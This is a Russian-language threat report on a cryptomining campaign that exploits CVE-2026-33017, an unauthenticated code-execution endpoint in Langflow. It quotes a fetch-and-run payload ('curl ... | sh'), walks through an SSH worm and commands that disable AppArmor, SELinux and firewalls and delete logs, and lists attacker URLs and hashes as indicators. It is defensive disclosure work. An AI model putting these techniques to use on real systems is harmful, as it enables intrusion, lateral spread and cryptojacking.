Криптовалютная майнинг-кампания через Langflow: эксплуатация CVE-2026-33017 открывает новый вектор атак на AI-инфраструктуру

information security

Исследователи зафиксировали майнинговую кампанию, которая использует уязвимость CVE-2026-33017 в платформе Langflow для запуска вредоносной нагрузки. Этот инцидент представляет угрозу для организаций, развернувших AI-приложения с публичным доступом. Злоумышленники переключились с традиционных векторов, таких как открытые Docker API или уязвимости Confluence, на незащищённые конечные точки AI-пайплайнов. Сама по себе вредоносная нагрузка не нова, но способ её доставки изменился. Теперь операторы используют открытые интерфейсы Langflow для проникновения в корпоративные сети.

Описание

Кампания примечательна тем, что показывает, как исследованные ранее техники получения начального доступа применяются к AI-инфраструктуре. Langflow - это Python-фреймворк для построения визуальных рабочих процессов на основе больших языковых моделей. Один из его API-эндпоинтов, POST /api/v1/build_public_tmp/{flow_id}/flow, принимает JSON с полем code и выполняет этот код в контексте процесса службы. При этом аутентификация не требуется. Уязвимость CVE-2026-33017 позволяет любому внешнему отправить POST-запрос с произвольным Python-кодом, который затем исполняется на сервере. Оператор атаки использует простую команду: "__import__('os').system('curl ... | sh')". Эта строка загружает shell-скрипт, который запускает следующую стадию атаки.

На протяжении 19 дней наблюдений исследователи зафиксировали серию атак с одного IP-адреса. Первые этапы включают разведку со сменой User-Agent - от браузерных строк до python-requests/2.25.1. После подтверждения доступа злоумышленник отправляет эксплойт с полезной нагрузкой. В начальной фазе он тестирует выполнение команд, используя подстановку base64-кодированного вывода id. Затем переходит к загрузке и выполнению дроппера isp.sh. Этот скрипт проверяет, не запущен ли уже процесс lambsys, создает скрытый каталог /var/tmp/.xlamb/, скачивает бинарный файл lambsys и запускает его в фоне.

Согласно анализу специалистов, дроппер также выполняет функцию SSH-червя. Он перебирает ключи из ~/.ssh/id_rsa, id_ed25519, id_dsa и файл known_hosts, а также проверяет SSH_AUTH_SOCK. Для каждого обнаруженного хоста он пытается доставить lambsys двумя способами: через curl с командой выполнения или scp с последующим запуском. Используются параметры BatchMode=yes, ConnectTimeout=5 и StrictHostKeyChecking=no. Таким образом, атака может распространиться на все системы, к которым у скомпрометированного хоста есть SSH-доступ.

Бинарный файл lambsys написан на Go и упакован UPX. Он выполняет несколько важных функций: подавление конкурирующих майнеров, отключение средств безопасности и закрепление в системе. Сначала программа повышает лимит открытых файлов до 65535, чтобы выдержать соединения с майнинг-пулом и сервером управления. Затем она запускает серию команд pkill против известных процессов других майнеров, включая Kinsing, WatchDog, Rocke, Outlaw. Кроме того, она убивает процессы, занятые на 13 стандартных майнинговых портах, и читает PID из скрытых файлов /tmp/.X11-unix/01 и /tmp/.systemd.*.

После уничтожения конкурентов lambsys отключает системную защиту. Команды service apparmor stop и systemctl disable apparmor останавливают AppArmor, setenforce 0 отключает SELinux. Удаляются правила iptables и отключается брандмауэр ufw. Специальные команды останавливают Alibaba Cloud Security Agent (aliyun.service). Также идёт очистка от защитных атрибутов chattr: снимаются флаги +i, +u, +a с /tmp, /var/tmp, /var/spool/cron, /etc/crontab, /etc/ld.so.preload, ~/.ssh/ и authorized_keys. Затем удаляется /var/log/syslog - основной системный журнал.

Закрепление в системе реализовано двумя способами. Первый - cron-задание, которое каждые пять минут проверяет, жив ли процесс lambsys, и при необходимости перезагружает его. Второй - скрипт init_rmount в /var/tmp, запускаемый как фоновая задача с циклом раз в минуту. Оба механизма умеют восстанавливать бинарник с сервера в случае его удаления. После установки lambsys блокирует каталоги /tmp и /var/tmp флагами chattr, чтобы предотвратить удаление своих артефактов.

Связь с сервером управления (C&C) осуществляется через HTTP на порт 80, в то время как загрузка полезной нагрузки идёт на порт 8080 того же IP. Каждые 128 секунд lambsys отправляет POST-запрос с JSON-объектом, содержащим поля downloading, running и timestamp. Ответ от C&C - стандартное подтверждение. Затем бинарник скачивает ks.tar, проверяет его MD5-хеш и извлекает из него настроенную версию XMRig (procq) в скрытый каталог с именем из точек. Майнер подключается к пулу на TCP/3333, представляясь строкой "SystemMonitor/6.25.0 (Linux x86_64)". Интересно, что перед подключением к пулу lambsys делает DNS-запрос к ipinfo.io для определения геолокации жертвы - вероятно, чтобы исключить майнинг в собственной юрисдикции.

Анализ образцов показывает, что данное вредоносное ПО разрабатывается как минимум с мая 2024 года. Предыдущий вариант имел другой C&C и меньшую функциональность. Некоторые элементы, такие как удаление учётных записей akay и vfinder, указывают на заимствование техник из более старых кампаний, в частности Trojan.SH.MALXMR.UWEKB (2019). Однако уникальный XMR-кошелёк, имя init_rmount и директория /var/tmp/.xlamb/ не встречаются ни в одной публичной базе угроз, что говорит об отдельном операторе, который поддерживает собственную инфраструктуру.

Организациям, использующим Langflow, необходимо оценить, есть ли у них экземпляры, доступные из интернета, и работают ли они под привилегированной учётной записью или на инфраструктуре, имеющей доступ к другим системам. Следует установить обновление Langflow до версии 1.9.0, ограничить публичный доступ к API, а также проверить, не запущен ли сервис с избыточными правами. Любые признаки компрометации должны рассматриваться как инцидент, требующий ротации всех SSH-ключей, потенциально скомпрометированных через механизм распространения червя. Приоритетной мерой является блокировка C&C-инфраструктуры на сетевом уровне, например, с помощью списков Spamhaus DROP. Обнаружение аномальных запросов к ipinfo.io от серверов приложений также может стать ранним индикатором атаки.

Индикаторы компрометации

URL

  • http://83.142.209.214/setup_status.php
  • http://83.142.209.214/status.php
  • http://83.142.209.214:8080/isp.sh
  • http://83.142.209.214:8080/ks.tar
  • http://83.142.209.214:8080/lambsys
  • http://94.156.64.241/r.php

SHA256

  • 33588aa446984d3340cab686d38f2aa85a70eb3f76c459da3eef0304592b99df
  • 71af8bd9b8019b7e5f460ce4c5c14ff7716a2c2faaaf1f274ceaa54cb89723bc
  • ddde47bf00324075c7eeb0b9d0ff0a5d1b95bfc619aca4b5def85263838212f2

Комментарии: 0